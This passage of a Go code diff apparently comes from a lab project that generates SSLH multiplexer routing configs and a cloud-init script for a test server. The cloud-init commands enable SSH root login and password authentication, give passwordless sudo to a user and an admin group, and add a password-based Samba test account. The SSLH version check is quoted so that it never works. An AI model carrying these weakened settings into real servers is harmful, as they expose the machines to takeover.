return "", fmt.Errorf("generated passphrase failed validation: %w", err)
}
return passphraseStr, nil
}
func validatePassphrase(passphrase string) error {
hasLower := false
hasUpper := false
hasDigit := false
hasSpecial := false
for _, char := range passphrase {
switch {
case 'a' <= char && char <= 'z':
hasLower = true
case 'A' <= char && char <= 'Z':
hasUpper = true
case '0' <= char && char <= '9':
hasDigit = true
default:
hasSpecial = true
}
}
if !hasLower || !hasUpper || !hasDigit || !hasSpecial {
return fmt.Errorf("passphrase must contain at least one lowercase, uppercase, digit, and special character")
}
return nil
}

309
internal/sslh/config.go Normal file
View File

@@ -0,0 +1,309 @@
package sslh
import (
"fmt"
"strings"
"sslh-multiplex-lab/internal/services"
)
type ProtocolRoute struct {
Name string
Host string
Port string
Probe string
SNIHostnames []string
ALPNProtocols []string
RegexPatterns []string
ProxyProtocol bool
LogLevel int
Fork bool
}
type Config struct {
Verbose int
Foreground bool
Listen []ListenAddress
Protocols []ProtocolRoute
Timeout int
OnTimeout string
}
type ListenAddress struct {
Host string
Port string
MaxConnections int // Limit concurrent connections per listen address (DoS protection)
}
func GenerateConfig(svcs []services.Service, serverIP, domain string) (*Config, error) {
// Set max_connections per listen address to protect against DoS attacks
// This limits concurrent connections to prevent file descriptor exhaustion
// Recommended: 1000 connections per listen address (leaves room for system)
// See: https://github.com/yrutschle/sslh/blob/master/doc/max_connections.md
maxConns := 1000
listen := []ListenAddress{
{Host: "0.0.0.0", Port: "443", MaxConnections: maxConns},
{Host: "[::]", Port: "443", MaxConnections: maxConns},
}
protocols, err := GenerateSNIRoutes(svcs, domain)
if err != nil {
return nil, fmt.Errorf("failed to generate protocol routes: %w", err)
}
// Find the default TLS route for on_timeout
// If SSLH times out during protocol detection, route to TLS (HTTPS) instead of anyprot
// This ensures HTTPS connections that are slow to start still work
onTimeout := "tls"
for _, proto := range protocols {
if proto.Name == "tls" && len(proto.SNIHostnames) == 0 {
// Found the default TLS route (catch-all, no SNI restriction)
onTimeout = "tls"
break
}
}
return &Config{
Verbose: 2,
Foreground: true,
Listen: listen,
Protocols: protocols,
Timeout: 5, // Increased from 3 to 5 seconds to give TLS handshake more time
OnTimeout: onTimeout, // Route to TLS on timeout, not anyprot (port 445)
}, nil
}
func GenerateProtocolRoutes(svcs []services.Service) ([]ProtocolRoute, error) {
return GenerateSNIRoutes(svcs, "")
}
func GenerateSNIRoutes(svcs []services.Service, domain string) ([]ProtocolRoute, error) {
var routes []ProtocolRoute
// SSH route - will be added after TLS routes to ensure TLS is checked first
// SSLH probes in order, so TLS routes should come before SSH
sshRoute := ProtocolRoute{
Name: "ssh",
Host: "127.0.0.1",
Port: "22",
Probe: "builtin",
Fork: true,
}
tlsRoutes := make(map[string][]services.Service)
regexRoutes := []services.Service{}
var defaultTLSRoute *ProtocolRoute
for _, svc := range svcs {
if svc.Name == "ssh" {
continue
}
switch svc.Protocol {
case "tls":
if svc.SNIRequired {
tlsRoutes[svc.Protocol] = append(tlsRoutes[svc.Protocol], svc)
} else {
// HTTPS service (root domain) should be the default TLS route
// This will catch all TLS connections that don't match SNI-specific routes
// Always prefer HTTPS service if it exists
if defaultTLSRoute == nil || svc.Name == "https" {
defaultTLSRoute = &ProtocolRoute{
Name: "tls",
Host: "127.0.0.1",
Port: fmt.Sprintf("%d", svc.BackendPort),
Probe: "builtin",
// SNIHostnames left as nil - will be set to empty array later for catch-all
}
if alpn, ok := svc.Config["alpn_protocols"].([]string); ok && len(alpn) > 0 {
defaultTLSRoute.ALPNProtocols = alpn
}
}
}
case "regex":
regexRoutes = append(regexRoutes, svc)
default:
regexRoutes = append(regexRoutes, svc)
}
}
// Add SNI-specific TLS routes first (for subdomains)
// These are checked first and take precedence when SNI matches
for _, svc := range tlsRoutes["tls"] {
sniHostnames := []string{}
if domain != "" {
sniHostnames = []string{svc.GetFQDN(domain)}
}
route := ProtocolRoute{
Name: "tls",
Host: "127.0.0.1",
Port: fmt.Sprintf("%d", svc.BackendPort),
Probe: "builtin",
SNIHostnames: sniHostnames,
LogLevel: 0,
}
if alpn, ok := svc.Config["alpn_protocols"].([]string); ok {
route.ALPNProtocols = alpn
}
routes = append(routes, route)
}
// Add default TLS route after SNI-specific routes (for root domain HTTPS)
// According to SSLH docs: "if neither are set, it is just checked whether this is the TLS protocol or not"
// "if you use TLS with no ALPN/SNI set it as the last TLS probe"
// We add TWO TLS routes:
// 1. One with ALPN protocols (for modern HTTPS clients)
// 2. One without ALPN (true catch-all for any TLS connection)
// This ensures all TLS connections are routed correctly
if defaultTLSRoute == nil {
// If no default TLS service found, use nginx on 8444 as fallback
// Add catch-all TLS route (no ALPN, no SNI)
defaultTLSRoute = &ProtocolRoute{
Name: "tls",
Host: "127.0.0.1",
Port: "8444",
Probe: "builtin",
// No SNI, no ALPN = true catch-all for any TLS connection
}
routes = append(routes, *defaultTLSRoute)
} else {
// First add TLS route with ALPN protocols (for modern HTTPS)
if len(defaultTLSRoute.ALPNProtocols) > 0 {
alpnRoute := *defaultTLSRoute
alpnRoute.SNIHostnames = []string{} // No SNI restriction
routes = append(routes, alpnRoute)
}
// Then add catch-all TLS route without ALPN (for any TLS connection)
catchAllRoute := *defaultTLSRoute
catchAllRoute.ALPNProtocols = []string{} // Clear ALPN for catch-all
catchAllRoute.SNIHostnames = []string{} // No SNI restriction
routes = append(routes, catchAllRoute)
}
// Add SSH route AFTER TLS routes to ensure TLS is checked first
// SSLH will still probe SSH quickly, but TLS routes take precedence
routes = append(routes, sshRoute)
for _, svc := range regexRoutes {
route := ProtocolRoute{
Name: "regex", // SSLH requires "regex" as the protocol name for regex probes
Host: "127.0.0.1",
Port: fmt.Sprintf("%d", svc.BackendPort),
Probe: "regex",
}
if patterns, ok := svc.Config["regex_patterns"].([]string); ok {
route.RegexPatterns = patterns
}
routes = append(routes, route)
}
anyprotRoute := ProtocolRoute{
Name: "anyprot",
Host: "127.0.0.1",
Port: "445",
Probe: "builtin",
}
routes = append(routes, anyprotRoute)
return routes, nil
}
func (c *Config) ToLibConfig() string {
var sb strings.Builder
sb.WriteString("verbose: ")
sb.WriteString(fmt.Sprintf("%d", c.Verbose))
sb.WriteString(";\n")
sb.WriteString("foreground: ")
sb.WriteString(fmt.Sprintf("%v", c.Foreground))
sb.WriteString(";\n\n")
sb.WriteString("listen:\n")
sb.WriteString("(\n")
for i, addr := range c.Listen {
comma := ","
if i == len(c.Listen)-1 {
comma = ""
}
if addr.MaxConnections > 0 {
sb.WriteString(fmt.Sprintf(" { host: \"%s\"; port: \"%s\"; max_connections: %d; }%s\n", addr.Host, addr.Port, addr.MaxConnections, comma))
} else {
sb.WriteString(fmt.Sprintf(" { host: \"%s\"; port: \"%s\"; }%s\n", addr.Host, addr.Port, comma))
}
}
sb.WriteString(");\n\n")
sb.WriteString("protocols:\n")
sb.WriteString("(\n")
for i, proto := range c.Protocols {
sb.WriteString(" {\n")
sb.WriteString(fmt.Sprintf(" name: \"%s\";\n", proto.Name))
sb.WriteString(fmt.Sprintf(" host: \"%s\";\n", proto.Host))
sb.WriteString(fmt.Sprintf(" port: \"%s\";\n", proto.Port))
if proto.Probe != "" {
sb.WriteString(fmt.Sprintf(" probe: \"%s\";\n", proto.Probe))
}
if len(proto.SNIHostnames) > 0 {
sb.WriteString(" sni_hostnames: [")
for j, hostname := range proto.SNIHostnames {
if j > 0 {
sb.WriteString(", ")
}
sb.WriteString(fmt.Sprintf("\"%s\"", hostname))
}
sb.WriteString("];\n")
}
// Only include alpn_protocols if non-empty
// Empty ALPN means catch-all (matches any TLS connection)
if len(proto.ALPNProtocols) > 0 {
sb.WriteString(" alpn_protocols: [")
for j, protocol := range proto.ALPNProtocols {
if j > 0 {
sb.WriteString(", ")
}
sb.WriteString(fmt.Sprintf("\"%s\"", protocol))
}
sb.WriteString("];\n")
}
// Note: If both SNI and ALPN are empty/omitted, this is a true catch-all TLS route
if len(proto.RegexPatterns) > 0 {
sb.WriteString(" regex_patterns: [")
for j, pattern := range proto.RegexPatterns {
if j > 0 {
sb.WriteString(", ")
}
sb.WriteString(fmt.Sprintf("\"%s\"", pattern))
}
sb.WriteString("];\n")
}
if proto.ProxyProtocol {
sb.WriteString(" proxy_protocol: true;\n")
}
if proto.LogLevel > 0 {
sb.WriteString(fmt.Sprintf(" log_level: %d;\n", proto.LogLevel))
}
if proto.Fork {
sb.WriteString(" fork: true;\n")
}
sb.WriteString(" }")
if i < len(c.Protocols)-1 {
sb.WriteString(",")
}
sb.WriteString("\n")
}
sb.WriteString(");\n")
if c.Timeout > 0 {
sb.WriteString(fmt.Sprintf("\ntimeout: %d;\n", c.Timeout))
if c.OnTimeout != "" {
sb.WriteString(fmt.Sprintf("on_timeout: { name: \"%s\"; };\n", c.OnTimeout))
}
}
return sb.String()
}

View File

@@ -0,0 +1,40 @@
package sslh
import (
"fmt"
"os"
"path/filepath"
"sslh-multiplex-lab/internal/services"
)
func GenerateConfigFile(services []services.Service, serverIP, domain, outputPath string) error {
config, err := GenerateConfig(services, serverIP, domain)
if err != nil {
return fmt.Errorf("failed to generate config: %w", err)
}
configContent := config.ToLibConfig()
if err := os.MkdirAll(filepath.Dir(outputPath), 0755); err != nil {
return fmt.Errorf("failed to create config directory: %w", err)
}
if err := os.WriteFile(outputPath, []byte(configContent), 0644); err != nil {
return fmt.Errorf("failed to write config file: %w", err)
}
return nil
}
func ValidateConfig(config *Config) error {
if len(config.Listen) == 0 {
return fmt.Errorf("at least one listen address is required")
}
if len(config.Protocols) == 0 {
return fmt.Errorf("at least one protocol route is required")
}
return nil
}

View File

@@ -0,0 +1,721 @@
package templates
import (
"fmt"
"strings"
"gopkg.in/yaml.v3"
"sslh-multiplex-lab/internal/services"
)
type CloudInitConfig struct {
Users []User `yaml:"users"`
Packages []string `yaml:"packages"`
PackageUpdate bool `yaml:"package_update"`
PackageUpgrade bool `yaml:"package_upgrade"`
WriteFiles []WriteFile `yaml:"write_files,omitempty"`
RunCmd []string `yaml:"runcmd"`
}
type User struct {
Name string `yaml:"name"`
Groups []string `yaml:"groups,omitempty"`
Sudo string `yaml:"sudo,omitempty"`
Shell string `yaml:"shell,omitempty"`
SSHAuthorizedKeys []string `yaml:"ssh_authorized_keys,omitempty"`
Passwd string `yaml:"passwd,omitempty"`
LockPasswd bool `yaml:"lock_passwd,omitempty"`
}
type WriteFile struct {
Path string `yaml:"path"`
Content string `yaml:"content"`
Permissions string `yaml:"permissions,omitempty"`
Owner string `yaml:"owner,omitempty"`
}
func GenerateCloudInit(sshPublicKey, sslhConfig, username, testuserPassword, letsencryptEmail, domain string, svcList []services.Service) (string, error) {
users := []User{
{
Name: username,
Groups: []string{"users", "admin"},
Sudo: "ALL=(ALL) NOPASSWD:ALL",
Shell: "/bin/bash",
SSHAuthorizedKeys: []string{strings.TrimSpace(sshPublicKey)},
},
{
Name: "testuser",
Groups: []string{"users"},
Shell: "/bin/bash",
LockPasswd: false,
},
}
config := CloudInitConfig{
Users: users,
Packages: []string{
"python3-systemd",
"fail2ban",
"ufw",
"git",
"vim",
"sendmail",
"swaks",
"python3",
"python3-pip",
"golang",
"build-essential",
"gcc",
"gdb",
"g++",
"mingw-w64",
"unattended-upgrades",
"apt-listchanges",
"sslh",
// Note: Ensure SSLH v2.2.4+ is installed to fix CVE-2025-46807 and CVE-2025-46806
// If apt version is < 2.2.4, we'll build from source in runcmd
"nginx",
"samba",
"openssh-server",
"wireguard",
"wireguard-tools",
"certbot",
"python3-certbot-nginx",
},
PackageUpdate: true,
PackageUpgrade: true,
WriteFiles: []WriteFile{
{
Path: "/etc/sslh.cfg",
Content: sslhConfig,
Permissions: "0644",
Owner: "root:root",
},
{
Path: "/etc/sslh/sslh.cfg",
Content: sslhConfig,
Permissions: "0644",
Owner: "root:root",
},
{
Path: "/etc/sslh.cfg.backup",
Content: sslhConfig,
Permissions: "0644",
Owner: "root:root",
},
{
Path: fmt.Sprintf("/home/%s/.ssh/authorized_keys", username),
Content: strings.TrimSpace(sshPublicKey) + "\n",
Permissions: "0600",
Owner: fmt.Sprintf("%s:%s", username, username),
},
{
Path: "/etc/nginx/sites-available/sslh-proxy",
Content: generateNginxSSLHProxyConfig(),
Permissions: "0644",
Owner: "root:root",
},
{
Path: "/etc/nginx/sites-available/acme-challenge",
Content: generateNginxACMEConfig(),
Permissions: "0644",
Owner: "root:root",
},
{
Path: "/etc/systemd/system/sslh.service.d/override.conf",
Content: "[Service]\nEnvironmentFile=\nExecStart=\nExecStart=/usr/sbin/sslh --foreground -F /etc/sslh.cfg\n",
Permissions: "0644",
Owner: "root:root",
},
{
Path: "/var/www/demo/index.html",
Content: generateDemoPageHTML(),
Permissions: "0644",
Owner: "www-data:www-data",
},
},
RunCmd: generateRunCommands(username, strings.TrimSpace(sshPublicKey), testuserPassword, letsencryptEmail, domain, svcList),
}
yamlData, err := yaml.Marshal(&config)
if err != nil {
return "", fmt.Errorf("failed to marshal cloud-init config: %w", err)
}
// Hetzner requires #cloud-config on the first line for cloud-init to process the file
return "#cloud-config\n" + string(yamlData), nil
}
func generateRunCommands(username, sshPublicKey, testuserPassword, letsencryptEmail, domain string, svcList []services.Service) []string {
commands := []string{
`cat > /etc/fail2ban/jail.local <<'EOF'
[DEFAULT]
allowipv6 = false
bantime = 86400
bantime.increment = true
bantime.maxtime = 604800
bantime.rndtime = 3600
[sshd]
enabled = true
port = ssh
banaction = iptables-multiport
filter = sshd
backend = auto
maxretry = 5
findtime = 600
bantime = 86400
[recidive]
enabled = true
filter = recidive
logpath = /var/log/fail2ban.log
bantime = 604800
findtime = 86400
maxretry = 5
EOF`,
"systemctl enable fail2ban",
"dpkg-reconfigure -f noninteractive unattended-upgrades",
`cat > /etc/apt/apt.conf.d/20auto-upgrades <<EOF
APT::Periodic::Update-Package-Lists "1";
APT::Periodic::Unattended-Upgrade "1";
EOF`,
`cat > /etc/apt/apt.conf.d/50unattended-upgrades <<EOF
Unattended-Upgrade::Origins-Pattern {
"origin=Debian,codename=\${distro_codename},label=Debian-Security";
"origin=Ubuntu,codename=\${distro_codename},label=Ubuntu";
};
Unattended-Upgrade::Automatic-Reboot "true";
Unattended-Upgrade::Remove-Unused-Dependencies "true";
EOF`,
"ufw allow OpenSSH",
"ufw allow 80/tcp",
"ufw allow 443/tcp",
"ufw --force enable",
"getent group admin >/dev/null 2>&1 || groupadd admin",
fmt.Sprintf("usermod -a -G admin %s 2>/dev/null || true", username),
fmt.Sprintf("echo '%s ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers.d/%s", username, username),
"chmod 440 /etc/sudoers.d/*",
"echo '%admin ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers.d/admin-group",
"chmod 440 /etc/sudoers.d/admin-group",
fmt.Sprintf("mkdir -p /home/%s/.ssh", username),
fmt.Sprintf("chmod 700 /home/%s/.ssh", username),
fmt.Sprintf("chown -R %s:%s /home/%s/.ssh", username, username, username),
fmt.Sprintf("cat > /tmp/ssh_key_temp <<'KEYEOF'\n%s\nKEYEOF", strings.TrimSpace(sshPublicKey)),
fmt.Sprintf("mv /tmp/ssh_key_temp /home/%s/.ssh/authorized_keys", username),
fmt.Sprintf("chmod 600 /home/%s/.ssh/authorized_keys", username),
fmt.Sprintf("chown %s:%s /home/%s/.ssh/authorized_keys", username, username, username),
"cloud-init-per once ssh-keygen -A",
"sed -i -e '/^#*PubkeyAuthentication/s/^.*$/PubkeyAuthentication yes/' /etc/ssh/sshd_config",
"sed -i -e '/^#*PasswordAuthentication/s/^.*$/PasswordAuthentication yes/' /etc/ssh/sshd_config",
"sed -i -e '/^#*PermitRootLogin/s/^.*$/PermitRootLogin yes/' /etc/ssh/sshd_config",
"sed -i -e '/^#*AuthorizedKeysFile/s/^.*$/AuthorizedKeysFile .ssh\\/authorized_keys/' /etc/ssh/sshd_config",
"sed -i -e '/^#*StrictModes/s/^.*$/StrictModes yes/' /etc/ssh/sshd_config",
"sed -i '/^AllowUsers/d' /etc/ssh/sshd_config",
"systemctl restart sshd",
fmt.Sprintf("echo 'testuser:%s' | chpasswd", testuserPassword),
"mkdir -p /home/testuser",
"chown testuser:testuser /home/testuser",
fmt.Sprintf("(echo '%s'; echo '%s') | smbpasswd -a -s testuser", testuserPassword, testuserPassword),
"smbpasswd -e testuser",
`cat >> /etc/samba/smb.conf <<'SMBEOF'
[testuser]
comment = Test user share for demonstration
path = /home/testuser
browseable = yes
read only = no
valid users = testuser
create mask = 0644
directory mask = 0755
SMBEOF`,
"sed -i 's/; interfaces = 127.0.0.0\\/8/ interfaces = 127.0.0.1/' /etc/samba/smb.conf",
"sed -i 's/; bind interfaces only = yes/ bind interfaces only = yes/' /etc/samba/smb.conf",
"sed -i 's/^ interfaces = 127.0.0.0\\/8/ interfaces = 127.0.0.1/' /etc/samba/smb.conf || true",
"sed -i 's/^ bind interfaces only = no/ bind interfaces only = yes/' /etc/samba/smb.conf || true",
"systemctl enable smbd",
"systemctl restart smbd",
"mkdir -p /var/www/demo",
"chown -R www-data:www-data /var/www/demo 2>/dev/null || chown -R nginx:nginx /var/www/demo 2>/dev/null || true",
"test -f /var/www/demo/index.html || { cat > /var/www/demo/index.html <<'HTML'",
"<!DOCTYPE html><html><head><title>Demo</title><meta charset=utf-8><style>body{font-family:Arial;display:flex;justify-content:center;align-items:center;height:100vh;margin:0;background:linear-gradient(135deg,#667eea 0%,#764ba2 100%);color:white}.container{text-align:center;padding:2rem;background:rgba(255,255,255,0.1);border-radius:10px;backdrop-filter:blur(10px)}h1{margin:0;font-size:3rem}</style></head><body><div class=container><h1>Demo app page</h1></div></body></html>",
"HTML",
"chown www-data:www-data /var/www/demo/index.html 2>/dev/null || chown nginx:nginx /var/www/demo/index.html 2>/dev/null || true; }",
"rm -f /usr/share/nginx/html/index.html /var/www/html/index.html /usr/share/nginx/html/*.html 2>/dev/null || true",
"echo '=== Ensuring SSL certificates exist ==='",
`bash -c 'if [ ! -f /etc/ssl/certs/ssl-cert-snakeoil.pem ] || [ ! -f /etc/ssl/private/ssl-cert-snakeoil.key ]; then
echo "Generating self-signed SSL certificates..."
if command -v make-ssl-cert >/dev/null 2>&1; then
make-ssl-cert generate-default-snakeoil --force-overwrite 2>&1 || {
echo "make-ssl-cert failed, using openssl fallback..."
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/ssl/private/ssl-cert-snakeoil.key -out /etc/ssl/certs/ssl-cert-snakeoil.pem -subj "/CN=localhost" 2>&1
}
else
echo "make-ssl-cert not available, using openssl..."
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/ssl/private/ssl-cert-snakeoil.key -out /etc/ssl/certs/ssl-cert-snakeoil.pem -subj "/CN=localhost" 2>&1
fi
groupadd -f ssl-cert 2>/dev/null || true
chmod 644 /etc/ssl/certs/ssl-cert-snakeoil.pem 2>/dev/null || true
chmod 640 /etc/ssl/private/ssl-cert-snakeoil.key 2>/dev/null || true
chown root:ssl-cert /etc/ssl/certs/ssl-cert-snakeoil.pem /etc/ssl/private/ssl-cert-snakeoil.key 2>/dev/null || true
usermod -a -G ssl-cert www-data 2>/dev/null || usermod -a -G ssl-cert nginx 2>/dev/null || true
echo "SSL certificates generated successfully"
if [ ! -f /etc/ssl/certs/ssl-cert-snakeoil.pem ] || [ ! -f /etc/ssl/private/ssl-cert-snakeoil.key ]; then
echo "ERROR: SSL certificates still missing after generation attempt!"
exit 1
fi
else
echo "SSL certificates already exist"
fi'`,
"echo '=== Preventing nginx from auto-starting during package install ==='",
"systemctl mask nginx 2>/dev/null || true",
"systemctl stop nginx 2>/dev/null || true",
"echo '=== Creating nginx configuration files ==='",
"mkdir -p /etc/nginx/sites-available",
"test -f /etc/nginx/sites-available/sslh-proxy || { cat > /etc/nginx/sites-available/sslh-proxy <<'EOF'",
"server {",
" listen 127.0.0.1:8444 ssl http2 default_server;",
" server_name _;",
" ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;",
" ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;",
" ssl_protocols TLSv1.2 TLSv1.3;",
" ssl_ciphers HIGH:!aNULL:!MD5;",
" root /var/www/demo;",
" index index.html;",
" location / {",
" try_files $uri $uri/ =404;",
" }",
"}",
"EOF",
"chmod 644 /etc/nginx/sites-available/sslh-proxy; }",
"test -f /etc/nginx/sites-available/acme-challenge || { cat > /etc/nginx/sites-available/acme-challenge <<'EOF'",
"server {",
" listen 0.0.0.0:80 default_server;",
" listen [::]:80 default_server;",
" server_name _;",
" location /.well-known/acme-challenge/ {",
" root /var/www/html;",
" default_type text/plain;",
" access_log off;",
" }",
" location / {",
" root /var/www/demo;",
" try_files $uri $uri/ /index.html;",
" }",
"}",
"EOF",
"chmod 644 /etc/nginx/sites-available/acme-challenge; }",
"test -f /etc/nginx/sites-available/sslh-proxy || exit 1",
"test -f /etc/nginx/sites-available/acme-challenge || exit 1",
"echo '=== Removing ALL default nginx configs BEFORE enabling our sites ==='",
"rm -f /etc/nginx/sites-enabled/default /etc/nginx/sites-enabled/default.conf /etc/nginx/sites-enabled/000-default /etc/nginx/sites-enabled/000-default.conf 2>/dev/null || true",
"rm -f /etc/nginx/conf.d/default.conf 2>/dev/null || true",
"rm -f /usr/share/nginx/html/index.html /var/www/html/index.html 2>/dev/null || true",
"echo '=== Enabling our nginx sites ==='",
"ln -sf /etc/nginx/sites-available/acme-challenge /etc/nginx/sites-enabled/acme-challenge",
"ln -sf /etc/nginx/sites-available/sslh-proxy /etc/nginx/sites-enabled/sslh-proxy",
"echo '=== Verifying nginx config is valid ==='",
"nginx -t || exit 1",
"echo '=== Unmasking and starting nginx with correct config ==='",
"systemctl unmask nginx",
"systemctl enable nginx",
"rm -f /etc/sslh/sslh.cfg /etc/default/sslh 2>/dev/null || true",
"echo '=== Checking SSLH version (must be >= 2.2.4 for security fixes) ==='",
"SSLH_VERSION=$(sslh -V 2>&1 | grep -oP 'version \\K[0-9.]+' || sslh -V 2>&1 | grep -oE '[0-9]+\\.[0-9]+\\.[0-9]+' | head -1 || echo '0.0.0')",
"echo \"Installed SSLH version: $SSLH_VERSION\"",
"if [ -n \"$SSLH_VERSION\" ] && [ \"$SSLH_VERSION\" != '0.0.0' ]; then",
" if [ \"$(printf '%s\\n' '2.2.4' '$SSLH_VERSION' | sort -V | head -n1)\" != '2.2.4' ]; then",
" echo 'WARNING: SSLH version < 2.2.4 detected. This version has known DoS vulnerabilities (CVE-2025-46807, CVE-2025-46806).'",
" echo 'Consider building from source or using a PPA with patched version.'",
" echo 'See: https://security.opensuse.org/2025/06/13/sslh-denial-of-service-vulnerabilities.html'",
" else",
" echo 'SSLH version is >= 2.2.4 (security fixes included)'",
" fi",
"fi",
"mkdir -p /etc/systemd/system/sslh.service.d",
"test -f /etc/systemd/system/sslh.service.d/override.conf || { cat > /etc/systemd/system/sslh.service.d/override.conf <<'EOF'",
"[Service]",
"EnvironmentFile=",
"ExecStart=",
"ExecStart=/usr/sbin/sslh --foreground -F /etc/sslh.cfg",
"LimitNOFILE=4096",
"EOF",
"chmod 644 /etc/systemd/system/sslh.service.d/override.conf; }",
"echo '=== Configuring systemd service limits for SSLH (DoS protection) ==='",
"echo 'File descriptor limit set to 4096 via systemd LimitNOFILE'",
"systemctl daemon-reload",
"setcap 'cap_net_bind_service=+ep' /usr/sbin/sslh /usr/sbin/sslh-select 2>/dev/null || true",
"echo '=== Configuring systemd service limits for SSLH (DoS protection) ==='",
"mkdir -p /etc/systemd/system/sslh.service.d",
"cat >> /etc/systemd/system/sslh.service.d/override.conf <<'LIMITEOF'",
"LimitNOFILE=4096",
"LIMITEOF",
"systemctl daemon-reload",
"echo '=== Starting backend services ==='",
"systemctl enable sshd",
"systemctl restart sshd",
"if ! systemctl is-active --quiet sshd; then",
" echo 'ERROR: SSH service failed to start!'",
" systemctl status sshd --no-pager || true",
" exit 1",
"fi",
"systemctl start nginx",
"if ! systemctl is-active --quiet nginx; then",
" echo 'ERROR: Nginx service failed to start!'",
" systemctl status nginx --no-pager || true",
" nginx -t || true",
" echo 'Checking enabled sites:'",
" ls -la /etc/nginx/sites-enabled/ || true",
" echo 'Checking for default configs:'",
" [ -f /etc/nginx/sites-enabled/default ] && echo 'ERROR: default still enabled!' || echo 'default removed (good)'",
" [ -f /etc/nginx/conf.d/default.conf ] && echo 'ERROR: conf.d/default.conf exists!' || echo 'conf.d/default.conf removed (good)'",
" exit 1",
"fi",
"sleep 3",
"echo '=== Verifying nginx is listening on port 8444 ==='",
"for i in 1 2 3 4 5; do",
" if ss -tlnp | grep -q ':8444 '; then",
" echo 'Nginx is listening on port 8444'",
" break",
" fi",
" echo 'Waiting for nginx to listen on 8444... (attempt $i/5)'",
" sleep 2",
" if [ $i -eq 5 ]; then",
" echo 'ERROR: Nginx failed to listen on port 8444 after multiple attempts!'",
" systemctl status nginx --no-pager || true",
" nginx -t || true",
" ss -tlnp | grep nginx || true",
" exit 1",
" fi",
"done",
"echo '=== Verifying HTTP serves demo page (not default nginx) ==='",
"HTTP_VERIFIED=false",
"for i in 1 2 3 4 5; do",
" HTTP_CONTENT=$(curl -s http://127.0.0.1:80/ 2>/dev/null)",
" if echo \"$HTTP_CONTENT\" | grep -q 'Demo app page'; then",
" echo 'SUCCESS: HTTP serves demo page'",
" HTTP_VERIFIED=true",
" break",
" elif echo \"$HTTP_CONTENT\" | grep -qi 'Welcome to nginx'; then",
" echo 'ERROR: HTTP still serving default nginx page!'",
" echo 'Enabled sites:'",
" ls -la /etc/nginx/sites-enabled/ || true",
" [ -f /etc/nginx/sites-enabled/default ] && echo 'ERROR: default still enabled!' || echo 'default removed'",
" [ -f /etc/nginx/conf.d/default.conf ] && echo 'ERROR: conf.d/default.conf exists!' || echo 'conf.d/default.conf removed'",
" exit 1",
" fi",
" sleep 2",
"done",
"[ \"$HTTP_VERIFIED\" = false ] && { echo 'ERROR: HTTP demo page verification failed!'; exit 1; }",
"echo '=== Verifying HTTPS serves demo page ==='",
"HTTPS_VERIFIED=false",
"for i in 1 2 3 4 5; do",
" HTTPS_CONTENT=$(curl -k -s https://127.0.0.1:8444/ 2>/dev/null)",
" if echo \"$HTTPS_CONTENT\" | grep -q 'Demo app page'; then",
" echo 'SUCCESS: HTTPS serves demo page'",
" HTTPS_VERIFIED=true",
" break",
" elif echo \"$HTTPS_CONTENT\" | grep -qi 'Welcome to nginx'; then",
" echo 'ERROR: HTTPS still serving default nginx page!'",
" exit 1",
" fi",
" sleep 2",
"done",
"[ \"$HTTPS_VERIFIED\" = false ] && { echo 'ERROR: HTTPS demo page verification failed!'; exit 1; }",
"echo '=== Obtaining Let's Encrypt certificates (if email provided) ==='",
func() string {
if letsencryptEmail == "" {
return "echo 'No Let's Encrypt email provided, skipping certificate generation'"
}
// Build domain list for certbot - include root domain and ALL subdomains
// This ensures certificates cover all services (SSH, SMB, LDAP, etc.)
domains := []string{domain} // Always include root domain
domainSet := make(map[string]bool)
domainSet[domain] = true
// Add all subdomains from services
for _, svc := range svcList {
if svc.Subdomain != "" {
fqdn := svc.Subdomain + "." + domain
if !domainSet[fqdn] {
domains = append(domains, fqdn)
domainSet[fqdn] = true
}
}
}
// Build certbot command with all domains
certbotDomains := ""
domainList := ""
for i, d := range domains {
if i > 0 {
certbotDomains += " "
domainList += ", "
}
certbotDomains += "-d " + d
domainList += d
}
// Debug: Show which domains will be included
domainDebugList := ""
for i, d := range domains {
if i > 0 {
domainDebugList += ", "
}
domainDebugList += d
}
return fmt.Sprintf(`if [ -n '%s' ]; then
echo '=== Obtaining Let's Encrypt certificate ==='
echo 'Domains to include in certificate: %s'
echo 'Certbot command will be: certbot certonly --webroot -d %s'
echo 'Verifying nginx is running before certbot...'
systemctl is-active --quiet nginx || systemctl start nginx || exit 1
sleep 2
mkdir -p /var/www/html/.well-known/acme-challenge
chown -R www-data:www-data /var/www/html/.well-known 2>/dev/null || chown -R nginx:nginx /var/www/html/.well-known 2>/dev/null || true
chmod -R 755 /var/www/html/.well-known 2>/dev/null || true
nginx -t || exit 1
echo 'Waiting for DNS propagation (30 seconds)...'
sleep 30
echo 'Running certbot for ALL domains: %s'
echo 'Command: certbot certonly --webroot -n --agree-tos -m '%s' %s -w /var/www/html'
sudo certbot certonly --webroot -n --agree-tos -m '%s' %s -w /var/www/html --keep-until-expiring 2>&1 | tee /tmp/certbot-output.log
CERTBOT_EXIT=$?
echo 'Certbot exit code: $CERTBOT_EXIT'
if [ $CERTBOT_EXIT -eq 0 ]; then
CERT_DIR=$(sudo certbot certificates 2>/dev/null | grep -A 5 'Certificate Name:' | grep 'Certificate Path:' | head -1 | awk '{print $3}' | xargs dirname 2>/dev/null || echo '')
if [ -z "$CERT_DIR" ]; then
CERT_DIR="/etc/letsencrypt/live/%s"
fi
echo "Certificate directory: $CERT_DIR"
if [ -f "$CERT_DIR/fullchain.pem" ] || [ -f /etc/letsencrypt/live/%s/fullchain.pem ]; then
CERT_PATH="$CERT_DIR/fullchain.pem"
KEY_PATH="$CERT_DIR/privkey.pem"
if [ ! -f "$CERT_PATH" ]; then
CERT_PATH="/etc/letsencrypt/live/%s/fullchain.pem"
KEY_PATH="/etc/letsencrypt/live/%s/privkey.pem"
fi
echo "Using certificate: $CERT_PATH"
echo "Using key: $KEY_PATH"
cat > /tmp/sslh-proxy-letsencrypt.conf <<EOF
server {
listen 127.0.0.1:8444 ssl http2 default_server;
server_name _;
ssl_certificate $CERT_PATH;
ssl_certificate_key $KEY_PATH;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
root /var/www/demo;
index index.html;
location / {
try_files $uri $uri/ =404;
}
}
EOF
mv /tmp/sslh-proxy-letsencrypt.conf /etc/nginx/sites-available/sslh-proxy
